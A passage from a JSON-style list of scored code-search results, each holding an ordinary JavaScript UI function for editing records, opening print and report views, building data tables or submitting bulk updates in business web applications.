null},\n\t\t\t'bl.bl_id',\n\t\t\t{parameters :[\n\t\t\t\t\t{name: 'blOrPrId', type: 'value', value: 'bl.bl_id'},\n\t\t\t\t\t{name: 'owned', type: 'text', value: getMessage(\"owned\")},\n\t\t\t\t\t{name: 'leased', type: 'text', value: getMessage(\"leased\")},\n\t\t\t\t\t{name: 'neither', type: 'text', value: getMessage(\"neither\")}]},\n\t\t\t[\n\t\t\t\tnew RptFileConfig(\n\t\t\t\t\t'ab-repm-lsadmin-rentroll-details-ls-rpt.axvw',\n\t\t\t\t\tnull,\n\t\t\t\t\t'bl.bl_id',\n\t\t\t\t\t{parameters:[\n\t\t\t\t\t\t\t{name: 'lsId', type: 'value', value: 'ls.ls_id'}, \n\t\t\t\t\t\t\t{name: 'currencyCode', type: 'text', value: currencyCode},\n\t\t\t\t\t\t\t{name: 'exchangeRate', type: 'text', value: exchangeRate}]}, \n\t\t\t\t\tnull)\n\t\t\t]\n\t\t);\n\t} else {\n\t\trestriction.addClause('property.pr_id', row.getFieldValue(\"ls.pr_id\"), '=');\n\t\tvar rptFileCfg = new RptFileConfig(\n\t\t\t'ab-repm-lsadmin-rentroll-details-prop-rpt.axvw',\n\t\t\t{permanent: null, temporary: restriction, parameters: null},\n\t\t\t'property.pr_id',\n\t\t\t{parameters :[\n\t\t\t\t\t{name: 'blOrPrId', type: 'value', value: 'property.pr_id'},\n\t\t\t\t\t{name: 'owned', type: 'text', value: getMessage(\"owned\")},\n\t\t\t\t\t{name: 'leased', type: 'text', value: getMessage(\"leased\")},\n\t\t\t\t\t{name: 'neither', type: 'text', value: getMessage(\"neither\")}]},\n\t\t\t[\n\t\t\t\tnew RptFileConfig(\n\t\t\t\t\t'ab-repm-lsadmin-rentroll-details-ls-rpt.axvw',\n\t\t\t\t\tnull,\n\t\t\t\t\t'property.pr_id',\n\t\t\t\t\t{parameters:[\n\t\t\t\t\t\t\t{name: 'lsId', type: 'value', value: 'ls.ls_id'}, \n\t\t\t\t\t\t\t{name: 'currencyCode', type: 'text', value: currencyCode},\n\t\t\t\t\t\t\t{name: 'exchangeRate', type: 'text', value: exchangeRate}]}, \n\t\t\t\t\tnull)\n\t\t\t]\n\t\t);\n\t}\n\treportConfig.files.push(rptFileCfg);\n\tonPaginatedReport(reportConfig);\n}", "title": "" }, { "docid": "d6bf0d22b142b505cd4dc60478299675", "score": "0.5413341", "text": "function storeIssuePrintPreview(issueId)\n{\n window.open(\"procurement/print/storeIssueDialog.jsp?operationType=find&output=HTML&issueId=\" + issueId,\n \"Store Issue Print Preview\",\n \"menubar=no,location=no,resizable=yes,scrollbars=yes,status=yes\");\n} //End of function storeIssuePrintPreview", "title": "" }, { "docid": "8951745484f6b90823429153eda29ccb", "score": "0.54086477", "text": "editNewRecord() {\n WindowHistoryUtils.pushWithQuery(EDIT_RECORD_KEY, NEW_RECORD_VALUE);\n }", "title": "" }, { "docid": "d7eca25885910beb822ac842e128fa58", "score": "0.5403748", "text": "function loadEditPage() {\n}", "title": "" }, { "docid": "10f15d799d18879c60b57d724f4352b7", "score": "0.54017514", "text": "function showEditPIDiv(irbId) {\r\n jQuery('#editDialogPIField').hide();\r\n jQuery('#piEditLink').hide();\r\n jQuery('#piEditDiv').css(\"display\", \"inline-block\");\r\n}", "title": "" }, { "docid": "ecc24eed56fbd475f0a90ca903dc39ad", "score": "0.5397981", "text": "function startEdit(index){\n $(\"#editTitle\").val(blogs[index].title);\n $(\"#editDescription\").val(blogs[index].description);\n $(\"#editBody\").val(blogs[index].body);\n $(\"#editPic\").val(blogs[index].pic);\n $(\"#editAuthor\").val(blogs[index].author);\n $(\"#editSubmitButton\").html('<button onclick=\"saveEdit(' + index +')\" class=\"btn btn-primary\">Save Changes</button>');\n $(\"#myModal\").modal('toggle');\n}", "title": "" }, { "docid": "07d45091c725f9658b70dbd375b4c307", "score": "0.5393163", "text": "function showSaveDesign()\r\n{\r\n\r\n\t$('#form_design input:hidden[name=design_steps]').val(JSON.stringify(history_elements));\r\n\t$('#form_design input:hidden[name=design_library_id]').val($('#library_id').val());\r\n\r\n\r\n\tif ($('#design_id').val() != '') {\r\n\r\n\t\tif ($('#design_is_public').val() == '1') {\r\n\t\t\tvar buttons = {\r\n\t\t\t\t\t\"Save As New\": function() { saveDesign(true); }, \r\n\t\t\t\t\t\"Cancel\": function() { $(this).dialog(\"close\"); }\r\n\t\t\t\t};\r\n\t\t} else {\r\n\t\t\tvar buttons = {\r\n\t\t\t\t\t\"Save\": function() { saveDesign(false); }, \r\n\t\t\t\t\t\"Save As New\": function() { saveDesign(true); }, \r\n\t\t\t\t\t\"Cancel\": function() { $(this).dialog(\"close\"); }\r\n\t\t\t\t};\r\n\t\t}\r\n\t} else {\r\n\t\tvar buttons = {\r\n\t\t\t\"Save Design\": function() { saveDesign(true); }, \r\n\t\t\t\"Cancel\": function() { $(this).dialog(\"close\"); }\r\n\t\t}\r\n\t}\r\n\t\r\n\t$('#save_dialog')\r\n\t\t.dialog({\r\n\t\t\twidth: 550,\r\n\t\t\tminHeight: 300,\r\n\t\t\ttitle: \"Save Design\",\r\n\t\t\tmodal: true,\r\n\t\t\tresizable: false,\r\n\t\t\tclose: function() {$('#save_dialog').dialog('destroy'); }, // Destroy the dialog. Allows it to appear again if closed.\r\n\t\t\tbuttons: buttons\r\n\t});\r\n\r\n}", "title": "" }, { "docid": "d1ced72458a749d6a01fdb620c8e1362", "score": "0.5392583", "text": "function showFormEdit() {\n function showFormEditHtml(link) {\n // As an HTML modal dialog\n SpreadsheetApp.getUi().showModalDialog(\n HtmlService.createHtmlOutput(\n '<a href=\"' + link + '\">Click here to edit your response.</a>'\n ), 'Edit Form Response'\n );\n }\n \n function showFormEditMsg(link) {\n // As a message box\n Browser.msgBox(link);\n }\n \n var range = SpreadsheetApp.getActiveSheet().getSelection().getActiveRange(),\n form = FormApp.openById('0123456789abcdefghijklmnopqrstuvwxyz-_');\n if (range.getHeight() != 1) return Browser.msgBox(\"Please select only one row!\") && false;\n showFormEditHtml( // change the function name as needed!\n form.getResponses(new Date(\n SpreadsheetApp.getActiveSheet().getRange(range.getRow(), 1).getValue()\n ))[0].getEditResponseUrl()\n );\n}", "title": "" }, { "docid": "08b47a5bc39a0196dea8001b027ce6f8", "score": "0.5391916", "text": "function CpoolDetails() {\n\n\tdocument.forms[0].param.value = \"home\";\n\tdocument.forms[0].action = \"reportDetails.htm\";\n\tdocument.forms[0].submit();\n\n}", "title": "" }, { "docid": "07bab9224010be3c5436321a169e2b1c", "score": "0.53851056", "text": "function completeQuickEdit(id)\n{\n document.getElementById(\"edit_\" + id).style.display = \"none\";\n document.getElementById(\"view_\" + id).style.display = \"inline\";\n document.getElementById(\"editLink_\" + id).style.display = \"inline\";\n document.getElementById(\"cancel_\" + id).style.display = \"none\";\n document.getElementById(\"save_\" + id).style.display = \"none\";\n document.getElementById(\"view_\" + id).innerHTML = escaping(document.getElementById(\"editField_\" + id).value);\n}", "title": "" }, { "docid": "b9dbc54a299cdd68e05b554fd9051614", "score": "0.5362554", "text": "function quickEditBig(id)\n{\n document.getElementById(\"view_\" + id).style.display = \"none\";\n document.getElementById(\"editLink_\" + id).style.display = \"none\";\n document.getElementById(\"edit_\" + id).style.display = \"inline\";\n document.getElementById(\"cancel_\" + id).style.display = \"inline\";\n document.getElementById(\"save_\" + id).style.display = \"inline\";\n document.getElementById(\"editField_\" + id).value = reverseEscaping(document.getElementById(\"view_\" + id).innerHTML);\n \n}", "title": "" }, { "docid": "7f574803a2a3af105fea435a694cca30", "score": "0.5356201", "text": "function printLabPreview(lab_filename) {\n $.when(getLabInfo(lab_filename))\n .done(function (lab) {\n var html = '<h1>' + lab['name'] + ' v' + lab['version'] + '</h1>';\n if (lab['author'] != null) {\n html += '<h2>by ' + lab['author'] + '</h2>';\n }\n html += '<p><code>' + lab['id'] + '</code></p>';\n if (lab['description'] != null) {\n html += '<p>' + lab['description'] + '</p>';\n }\n html +=\n '<button class=\"action-labopen btn btn-flat\" type=\"button\" data-path=\"' +\n lab_filename +\n '\">' +\n MESSAGES[22] +\n '</button> ';\n if (ROLE != 'user')\n html +=\n '<button class=\"action-labedit-inline btn btn-flat\" type=\"button\" data-path=\"' +\n lab_filename +\n '\">Edit</button>';\n $('#list-title-info span').html(\n lab['filename'].replace(/\\\\/g, '/').replace(/.*\\//, '')\n );\n $('#list-info').html(html);\n })\n .fail(function (message) {\n addModalError(message);\n });\n}", "title": "" }, { "docid": "64681ce4849bcaf50ca4975eb49b7563", "score": "0.535161", "text": "function editFields(btn)\n{\n var jq = jQuery.noConflict();\n var jqEdtBtn = jq(btn);\n var updateButton = jq('<button>', {'class': 'BUTTON TMPCTRL', 'type': \"button\"}).text('Save');\n var cancelButton = jq('<button>', {'class': 'BUTTON TMPCTRL', 'type': 'button'}).text(\"Cancel\");\n var cont = jqEdtBtn.parents(\".DMCONT\");\n var ajax_script = cont.attr('data-ajax_script');\n var save_function = cont.attr('data-save_function');\n\n // IE8 ignores the onclick above:\n if (typeof(ajax_script) !== \"undefined\")\n {\n updateButton.on(\"click\", ecUpdateFields);\n }\n else\n {\n // Use window(function name) to convert to function object:\n updateButton.on(\"click\", window[save_function]); \n }\n cancelButton.on(\"click\", ecCancel);\n\n // Hide all buttons and checkboxes\n jq('input[type=\"button\"]').css('visibility', 'hidden');\n jq('button').css('visibility', 'hidden');\n jq('.btn').css('visibility', 'hidden');\t// Bootstrap looks like a button but actually a link\n jq('.checkbox').prop('disabled', true);\n\n\n // Add the new butons under the same parent as the Edit button:\n jqEdtBtn.parent().append(updateButton);\n jqEdtBtn.parent().append(cancelButton);\n\n // Create the edit controls:\n var controls = new EditControls(btn);\n\n return false;\n}", "title": "" }, { "docid": "4318e9f73c5d4b14b5de8f6a1f3a83de", "score": "0.5350962", "text": "function ShowReportByIdWithAction(input, url, report, id) {\n $.ajax({\n url: url,\n data: JSON.stringify(input),\n type: 'POST',\n contentType: 'application/json;',\n dataType: 'json',\n success: function (data) {\n if (data == true) {\n window.open(\"/ReportView/ViewReport?strReportName=\" + report + \"&&id=\" + id, 'mywindow', 'fullscreen=yes, scrollbars=auto');\n }\n }\n });\n}", "title": "" }, { "docid": "50005e2a1e06537276bcccd2a3575776", "score": "0.5329378", "text": "function showUpdate(slNo) {\r\n\tshowAddUpdate(\"updateFormHolder\", \"./update.ats\", \"recordId=\" + slNo +\"&action=update\");\r\n}", "title": "" }, { "docid": "4494642376c05f242b4095590cb3200f", "score": "0.5325705", "text": "function editAdmin(adminId){\n window.location = './editAdmin.html?admin_id='+adminId;\n}", "title": "" }, { "docid": "82a02df02af6e72780ef5b1f4705d03b", "score": "0.532434", "text": "function callEditPurchase(index) \n{\n $(\"#btnSubmitPurchaseRecord\").attr(\"indexToEditPurchase\", index);\n /*.button(\"refresh\") function forces jQuery\n * Mobile to refresh the text on the button\n */\n $(\"#btnSubmitPurchaseRecord\").val(\"Edit Purchase\");\n \n if ($(\"#btnSubmitPurchaseRecord\").hasClass(\"ui-btn-hidden\")) {\n \t \n $(\"#btnSubmitPurchaseRecord\").button(\"refresh\");\t\n }\t\n}", "title": "" }, { "docid": "f3bf6522cf05f1208b092ee8a5b8da5b", "score": "0.5313194", "text": "function bulkEditActionFormForUserDashboard(setObject, dataType, requirementTypeShortName){\r\n\t\tvar targetArtifact = \"\";\r\n\t\tvar targetValue = \"\";\r\n\t\tvar targetRequirements = \"\";\r\n\t\tvar displayListReportDataForm = document.getElementById(\"displayListReportDataForm\"); \r\n\t\t\r\n\t\t// now lets get target requirements. These are the selected reqs.\r\n\t\t// we will need to get all the reqs and concatenate them with :##:\r\n\t\t// if only one req is displayed in data grid, the checkbox stops behaving like an array\r\n\t\t// and behaves like a single element. in this scenario checkbox.length craps out.\r\n\t\t// to catch this scenario we have to do this...\r\n\t\tif (displayListReportDataForm.requirementId.length == null){\r\n\t\t\t// only one requirement row in data grid.\r\n\t\t\tif (displayListReportDataForm.requirementId.checked == true ){\r\n\t\t\t\ttargetRequirements += displayListReportDataForm.requirementId.value + \":##:\";\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// multiple requirement rows in data grid.\r\n\t\t\tfor (i=0; i<displayListReportDataForm.requirementId.length;i++){\r\n\t\t\t\tif (displayListReportDataForm.requirementId[i].checked == true ){\r\n\t\t\t\t\ttargetRequirements += displayListReportDataForm.requirementId[i].value + \":##:\";\r\n\t\t\t\t}\r\n\t\t\t}\t\t\r\n\t\t\t\r\n\t\t}\r\n\t\r\n\t\r\n\t\t// lets make sure that at least some requirements are selected.\r\n\t\tif (targetRequirements == '') {\r\n\t\t\talert(\"Please select at least one Requirement to Update\"); \r\n\t\t\treturn(0);\r\n \t\t}\r\n\t\t\r\n\t\t\r\n\t\tif (setObject == 'submitRequirementForApproval'){\r\n\t\t\ttargetValue = '';\r\n\t\t\ttargetArtifact = 'submitRequirementForApproval';\r\n\t\t}\r\n\r\n\t\tif (setObject == 'approveRequirement'){\r\n\t\t\ttargetValue = '';\r\n\t\t\ttargetArtifact = 'approveRequirement';\r\n\t\t}\r\n\r\n\r\n\t\tif (setObject.indexOf(\"rejectRequirement\") >= 0 ){\r\n\t\t\t// setObject has rejectRequirement:##:approvalNote\r\n\t\t\t// lets get the approvalNote and store it in the targetValue.\r\n\t\t\tvar rejection = setObject.split(\":##:\");\r\n\t\t\ttargetValue = rejection[1]; \r\n\t\t\ttargetArtifact = \"rejectRequirement\";\r\n\t\t}\r\n\t\t\r\n\t\t// lets empty the prompt div box\r\n\t\tdocument.getElementById(\"bulkEditActionResponse\").innerHTML = \"\";\r\n\t\t\r\n\t\t\r\n\t\t// lets build the url here.\r\n\t\tvar url = \"/GloreeJava2/servlet/ReportAction\";\r\n\t\t\r\n\t\tvar params = \"action=bulkEditForUserDashboard\" ;\r\n\t\tparams += \"&targetArtifact=\" + encodeURIComponent(targetArtifact);\r\n\t\tparams += \"&targetValue=\" + encodeURIComponent(targetValue);\r\n\t\tparams += \"&targetRequirements=\" + encodeURIComponent(targetRequirements);\r\n\t\tparams += \"&bustcache=\" + new Date().getTime() ;\r\n\t\t\r\n\t\t// since the number of selected reqs can be large and get has a limit\r\n\t\t// we will use post.\r\n\t\t\r\n\t\txmlHttpOPCenterB =GetXmlHttpObject();\r\n\t\txmlHttpOPCenterB.open(\"POST\", url, true);\r\n\r\n\t\t// Send the proper header information along with the request\r\n\t\txmlHttpOPCenterB.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\r\n\t\txmlHttpOPCenterB.setRequestHeader(\"Content-length\", params.length);\r\n\t\txmlHttpOPCenterB.setRequestHeader(\"Connection\", \"close\");\r\n\r\n\t\t// ContentCenter F is the target.\r\n\t\t// F will hold the actual data. So lets put the working gif in it\r\n\t\tdocument.getElementById(\"bulkEditActionResponse\").style.display = 'block';\r\n\t\tdocument.getElementById(\"bulkEditActionResponse\").innerHTML= \"&nbsp;&nbsp;&nbsp;Working...\";\r\n\t\t\t\r\n\t\txmlHttpOPCenterB.onreadystatechange=function() {\r\n\t\t\tif(xmlHttpOPCenterB.readyState==4){\r\n\t\t\t\tdocument.getElementById(\"bulkEditActionResponse\").style.display = 'block';\r\n\t\t\t\tdocument.getElementById(\"bulkEditActionResponse\").innerHTML=xmlHttpOPCenterB.responseText;\r\n\t\t\t\tif (requirementTypeShortName == 'all'){\r\n\t\t\t\t\tdisplayUserRequirementsOfAllReqTypes(dataType);\r\n\t\t\t\t}\r\n\t\t\t\telse {\r\n\t\t\t\t\tdisplayUserRequirements(requirementTypeShortName, dataType);\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t}\r\n\t\txmlHttpOPCenterB.send(params);\r\n\t\treturn(1);\r\n\t}", "title": "" }, { "docid": "c5dfaf2e5dda2e535501727ef6176d62", "score": "0.5311088", "text": "function editCRM(){\n\t\t//alert('edit CRM');\n\t\tdocument.getElementById('edit_buttons').style.display='none';\n\t\tdocument.getElementById('crm_name').removeAttribute('readonly');\n\t\tdocument.getElementById('crm_phone').removeAttribute('readonly');\n\t\tdocument.getElementById('crm_email').removeAttribute('readonly');\n\t\tdocument.getElementById('crm_notes').removeAttribute('readonly');\n\t\t\n\t\tdocument.getElementById('add_buttons').style.visibility='visible'; \n\t\t \n\t}", "title": "" }, { "docid": "3939ab43c8b9eabe8938d3fa639dba70", "score": "0.5304631", "text": "function reportDetail (request, response) {\n var rpt = reports.getById(parseInt(request.params.id));\n if (rpt === null) {\n response.status(404).send('No such report');\n } else\n response.render('report-detail.html', {report: rpt});\n}", "title": "" }, { "docid": "0b5131ec8ad33f04d7b5f96736d317db", "score": "0.52970386", "text": "function editWrite(id){\n $.ajax({\n type: \"GET\",\n url: \"php/getWritesTitles.php\",\n data: {id:id,edit:true},\n success: function(data) {\n window.open('editWrite.html', '_top');\n }\n });\n}", "title": "" }, { "docid": "62aade5c8c8052b2fc93477e3802b1ae", "score": "0.52906173", "text": "function showEditarPatrona(idPatrona){\n\ttop.frames['main'].location=\"../patronas/actualizar_patrona.jsp?id=\"+idPatrona; \n}", "title": "" }, { "docid": "2137517805422f82ac5621b634d655ec", "score": "0.52811366", "text": "function onEditButtonClicked() {\n let event = new Event(Config.MENU_VIEW.EVENT.EDIT_PROFILE_CLICKED);\n this.notifyAll(event);\n}", "title": "" }, { "docid": "d54aecfd8ba07175c43ff13adbb8cb11", "score": "0.5277001", "text": "function show_record(){ \n \n $.ajax({\n url: \"getIssueVoucherRecord.htm\",\n type: \"POST\",\n\tcache: false,\n\tasync: false, \n success: function(DdNumber){ \n var result = $.parseJSON(DdNumber);\n var final = \"<div class='table-responsive'><table class='table table-custom row-border hover order-column' id='basic-usage' style='width:100% !important'>\"+ \n \"<thead>\"+ \n \"<tr><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>Buttons</th></tr></thead>\"+\n \"<thead><tr id='filterrow'><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead>\"+ \n \"<tbody id='table_body'>\";\n var slno = 1; \n $.each(result, function(k, v) {\n final = final +\"<tr class='gradeX'>\"+\n \"<td>\"+ (slno++) +\"</td>\"+\n \"<td>\"+v.ivControlNo+\"</td><td>\"+v.rcivNumber+\"</td>\"+ \n \"<td>\"+v.issueType+\"</td><td>\"+v.section+\"</td>\"+\n \"<td>\"+v.indentorName+\"</td><td>\"+v.describe+\"</td>\"+\n \"<td><button type='button' class='btn btn-info btn-rounded btn-sm' \"+\n \"id='ButBut' value=\" + v.id + \">Edit </button></td> \";\n \n });\n final = final + \"</tbody></table></div>\"; \n $(\"#show_table\").html(final);\n \n // Setup - add a text input to each footer cell\n $('#basic-usage thead #filterrow th').not(\":eq(7)\").each( function () {\n var title = $(this).text();\n $(this).html( '<input type=\"text\" />' );\n } );\n \n // DataTable\n var table = $('#basic-usage').DataTable({\n autoWidth: false,\n \"columns\": [\n {title: \"SL No\", width: '8%'},\n {title: \"IV Control NO\", width: '13%'},\n {title: \"RCIV NO\", width: '13%'},\n {title: \"Issue Type\", width: '13%'},\n {title: \"Section\", width: '13%'},\n {title: \"Indenter\", width: '13%'},\n {title: \"Describe\", width: '13%'},\n {title: \"Buttons\", width: '12%'},\n ],\n 'aoColumnDefs': [{\n 'bSortable': false,\n 'aTargets': [-1] /* 1st one, start by the right */\n }]\n });\n \n // Apply the search\n $(\"#basic-usage thead input\").on( 'keyup change', function () {\n table\n .column( $(this).parent().index()+':visible' )\n .search( this.value )\n .draw();\n });\n \n \n },complete: function (data) {\n //This is for append data values to form when click on edit button\n $('#basic-usage').on('click', '#ButBut', function () { \n $(\"#issue_voucher\")[0].reset();\n $(\"#issue_voucher_sec\")[0].reset();\n close_message();\n $.ajax({\n url: \"getIssueVoucherReById.htm\",\n type: \"POST\",\n cache: false,\n async: false,\n data: ({IssueVou_id: this.value}),\n success: function (data) { \n var result = $.parseJSON(data);\n $.each(result, function (k, v) { \n $(\"#id\").val(v.id);\n $(\"#ivControlNo\").val(v.ivControlNo);\n $('#ivControlNo').selectpicker('refresh');\n $(\"#ivControlDate\").val(v.ivControlDate); \n $(\"#rcivNumber\").val(v.rcivNumber); \n $(\"#rcivDate\").val(v.rcivDate); \n $(\"#issueType\").val(v.issueType); \n $(\"#section\").val(v.section); \n $('#section').selectpicker('refresh');\n $(\"#disposal\").val(v.disposal); \n \n $(\"#deliveryAt\").val(v.deliveryAt);\n $(\"#itemCovered\").val(v.itemCovered);\n $(\"#joAllocation\").val(v.joAllocation); \n $(\"#storeGroupCode\").val(v.storeGroupCode); \n $(\"#cardNumber\").val(v.cardNumber); \n $(\"#cardCode\").val(v.cardCode); \n $(\"#upToDateBal\").val(v.upToDateBal); \n $(\"#describe\").val(v.describe);\n \n $(\"#partNumber\").val(v.partNumber);\n $(\"#minLevel\").val(v.minLevel);\n $(\"#mlReachedDat\").val(v.mlReachedDat); \n $(\"#date\").val(v.date); \n $(\"#qtyLaIssue\").val(v.qtyLaIssue); \n $(\"#basicRate\").val(v.basicRate); \n $(\"#rateDate\").val(v.rateDate); \n $(\"#waRate\").val(v.waRate);\n \n $(\"#rate\").val(v.rate);\n $(\"#currencyCode\").val(v.currencyCode);\n $(\"#receivedBy\").val(v.receivedBy); \n $(\"#surplusQty\").val(v.surplusQty); \n $(\"#lifoRate\").val(v.lifoRate); \n $(\"#indentorName\").val(v.indentorName); \n $('#indentorName').selectpicker('refresh'); \n \n $(\"#issuedByName\").val(v.issuedByName); \n $(\"#authorByName\").val(v.authorByName); \n $('#authorByName').selectpicker('refresh');\n $(\"#authorByDate\").val(v.authorByDate);\n document.getElementById('ivControlDate').readOnly = false;\n document.getElementById('deliveryAt').readOnly = false;\n document.getElementById('itemCovered').readOnly = false; \n document.getElementById('issueType').readOnly = false;\n document.getElementById('disposal').readOnly = false;\n document.getElementById('joAllocation').readOnly = false;\n document.getElementById('authorByDate').readOnly = false;\n });\n \n $(\"#form_record\").hide();\n $(\"#form_page\").show();\n $(\"#updateDiv\").css(\"display\", \"block\");\n $(\"#saveDdNumber\").css(\"display\", \"none\");\n $(window).scrollTop(0);\n $(\"#stic_items\").empty();\n $(\"#table_formI\").hide();\n }, error: function (jqXHR, textStatus, errorThrown) {\n alert(\"Error :\" + jqXHR.status + \", \" + errorThrown);\n }, complete: function (data) {\n\n }\n });\n\n });\n \n\n }\n\t}); \n }", "title": "" }, { "docid": "da8230d8f87f526f2b766bf1fb8922cb", "score": "0.52654606", "text": "function getReportUrl(accountId, reportId, editOrViewReportScreen) {\n let url = (editOrViewReportScreen === 'edit') ? '/report-builder?copyReport=false&' : '/report-viewer?';\n url+=`currentAccountId=${accountId}&reportId=${reportId}`;\n return url;\n}", "title": "" }, { "docid": "d508af8d2f59254c26284e56e8ffa369", "score": "0.52644616", "text": "function EditRisk() {\n\tdocument.getElementById(\"EditRisk\").style.display = \"block\";\n}", "title": "" }, { "docid": "9f67113c451a0dbd5597280ab78eab26", "score": "0.52489686", "text": "_openPrintModal() {\n console.log(this._reportHTML);\n this.pdf\n .setFileName(`${this.affiliate} - Boxer Directory Report`)\n .setContent(`<div class=\"card-body\">\n <div class=\"card-title\" style=\"font-weight: bold;\">\n ${this._reportTitleHTML ? `<span>${this._reportTitleHTML}</span><br><span class=\"float-left\">${PALongView.displayFullDateFromDate(new Date().toInputString())}</span>` : \"\"}\n </div>\n </div>\n ${this._reportHTML}`)\n .generateSharePDF();\n }", "title": "" }, { "docid": "a37c8db0e2cedae1c8aa73736ec1179b", "score": "0.52483183", "text": "function reportsDataSuccessHandler(reportsData) {\n UICtrl.displayReportsData(reportsData);\n }", "title": "" }, { "docid": "a286544f3f8583786fa8a2ce971caf83", "score": "0.5245104", "text": "function ajaxUpdate()\n {\n if (reqObj.readyState == 4)\n {\n if (reqObj.response == \"TRUE\")\n {\n document.getElementById(\"editButton\").disabled = false; \n document.getElementById(\"editButton\").style.visibility = \"visible\"; \n document.getElementById(\"submitButton\").innerHTML = \"<strong>Edit was successful!</strong>\"; \n \n reqObj = \"\";\n \n employeeSelect(empId);\n }\n else\n {\n document.getElementById(\"details\").style.visibility = \"hidden\"; \n document.getElementById(\"submitButton\").innerHTML = \"<strong>Update was unsuccessful.</strong>\"; \n }\n }\n }", "title": "" }, { "docid": "a517fa0e4ee106542716b5cd3c832045", "score": "0.5236532", "text": "function makeEditDialogContent(pane) {\n\t\t//Dialog container and row authzd and row selection totals\n \teditDialogContent_R = dojo.create(\"div\",{\"class\":\"editSelectedDialog\",innerHTML:\"<div class='editSelected-rowTotal'></div>\"},null);\n\n\t\t//Container for edit selected records value form\n \tvar editSelected = dojo.create(\"div\",{\"class\":\"editFieldContainer\",innerHTML:\"<div>Edit field value for selected records</div>\"},editDialogContent_R);\n\n \t//Edit selected records value form\n \tvar editForm = new dijit.form.Form({\n \t\t\"class\":\"editFieldContainer\",\n \t\tonSubmit:function() {\n\n \t\t\tvar grid = pane.grids.grid_R;\n \t\tvar recordID = [];\n \t\tvar gridSelection = grid.selection.getSelected();\n \t\tvar authzdItems = []; //Authorized items\n \t\t\tdojo.forEach(gridSelection,function(selItem){\n \t\t\t\t//console.log(selItem);\n \t\t\t\tvar item_facNum = grid.store.getValue(selItem, \"FACILITY_NUMBER\");\n \t\t\t\tvar item_orgCode = grid.store.getValue(selItem, \"ORGANIZATION\");\n \t\t\t\t//console.log(item_facCode,item_roomNum);\n \t\t\t\tif (checkAuthz(authz, item_facNum, item_orgCode, null)) {\n \t\t\t\t\tvar item_facCode = grid.store.getValue(selItem, \"FACILITY_CODE\");\n \t\t\t\t\tvar item_roomNum = grid.store.getValue(selItem, \"ROOM_NUMBER\");\n \t\t\t\t\trecordID.push([item_facCode,item_roomNum]);\n \t\t\t\t\tauthzdItems.push(selItem); //Save items the user is authorized to update\n \t\t\t\t}\n \t\t\t});\n\n \t\t\tif (recordID.length > 0) {\n \t\t\t\tvar updateColumn = fieldSelect.value;\n \t\t\t\tvar updateValue = valueSelect.value;\n \t\t\t\tvar update = {\n \trecords : recordID,\n \tvalues : {}\n };\n\n update.values[updateColumn] = updateValue;\n\n \t\t\t\teditSelected_status.innerHTML = 'Updating..';\n\n \t\t\t\tvar onUpdateSelected = submitQuery(dojo.toJson(update),\"common/php/updateColumnForSelectedRows.php\");\n \t\t\tonUpdateSelected.addCallback(function(data) {\n \t\t\t\tdojo.disconnect(grid.store.onSetListener);\n \t\t\t\tdojo.forEach(authzdItems,function(selItem){\n \t\t\t\t//Update the value in the grid\n \t\t\t\tgrid.store.setValue(selItem, updateColumn.split('.',2)[updateColumn.split('.',2).length-1], updateValue);\n \t\t\t\t//Update any returned values in the grid (e.g. Org name, PI name, etc.)\n \t\t\t\tfor (returnedValueColumn in data.values) {\n \t\t\t\t\t//console.log(returnedValueColumn, data.values[returnedValueColumn]);\n \t\t\t\t\tgrid.store.setValue(selItem, returnedValueColumn, data.values[returnedValueColumn]);\n \t\t\t\t}\n \t\t\t});\n \t\t\t\tgrid.store.save();\n \t\t\t\tgrid.store.onSetListener = dojo.connect(grid.store, \"onSet\", grid.evt.onSetFunction);\n\n \t\t\t\teditSelected_status.innerHTML = data.rowsUpdated + ' record' + (data.rowsUpdated === 1 ? '' : 's') + ' updated.';\n\n \t\t\t\tpostClientMessage({\n \t\t\ttext:\"Updated.\",\n \t\t\ttype:\"success\"\n \t\t});\n \t\t\t});\n\n \t\t}\n \t\treturn false;\n \t\t}\n \t},editSelected);\n\n \t//Field selection\n \tvar fieldSelect = new dijit.form.Select({\n name: 'editField',\n \"class\": 'editSelected-rows',\n options: [{\n label: 'Room Type',\n value: 'R.ROOM_TYPE'\n },\n {\n label: 'Room Organization',\n value: 'R.ORGANIZATION'\n },\n {\n label: 'Capacity',\n value: 'R.CAPACITY'\n }],\n onChange: function(val) {\n \t//console.log(val);\n\n \tif (pane.vars.fields[val].formElement) { //The new field has a form element defined\n \t\tif (valueSelect === pane.vars.fields[val].formElement) { //The current value select form element equals the new field's form element\n \t\t\tif (valueSelect.store && valueSelect.store !== pane.vars.fields[val].valueStore) {\n \t\t\t\tvalueSelect.set('value', null);\n \t\t\t\tvalueSelect.set('store',pane.vars.fields[val].valueStore);\n \t\t\t}\n \t\t} else {\n \t\t\tdojo.empty(valueSelectContainer);\n \t\tvalueSelect = pane.vars.fields[val].formElement();\n \t\tif (valueSelect != 'none') {\n \t\t\tvalueSelect.set('value', null);\n \t\t\tif (pane.vars.fields[val].valueStore) {\n \t\t\t\tvalueSelect.set('store',pane.vars.fields[val].valueStore);\n \t\t\t}\n \t\t\tvalueSelect.placeAt(valueSelectContainer);\n \t\t}\n \t\t}\n \t} else if (valueSelect.declaredClass == 'dijit.form.TextBox') {\n \t\tvalueSelect.set('value', null);\n \t\tvalueSelect.placeAt(valueSelectContainer);\n \t} else {\n \t\tdojo.empty(valueSelectContainer);\n \t\tvalueSelect = new dijit.form.TextBox({\n name: 'value',\n \"class\": 'queryInput valueSelect'\n }).placeAt(valueSelectContainer);\n \t}\n\n }\n }).placeAt(editForm.containerNode);\n\n //Value entry box\n var valueSelectContainer = dojo.create(\"span\",{},editForm.containerNode);\n if (pane.vars.fields[fieldSelect.value].formElement) {\n \tvar valueSelect = pane.vars.fields[fieldSelect.value].formElement();\n \tif (valueSelect != 'none') {\n \t//valueSelect.set('value', (condition.value ? condition.value : null));\n \tif (pane.vars.fields[fieldSelect.value].valueStore) {\n \t\tvalueSelect.set('store',pane.vars.fields[fieldSelect.value].valueStore);\n \t}\n \tvalueSelect.placeAt(valueSelectContainer);\n }\n } else {\n \tvar valueSelect = new dijit.form.TextBox({\n name: 'value',\n \"class\": 'queryInput valueSelect'\n //value: condition.value\n \t}).placeAt(valueSelectContainer);\n }\n\n //Update field submit button\n var 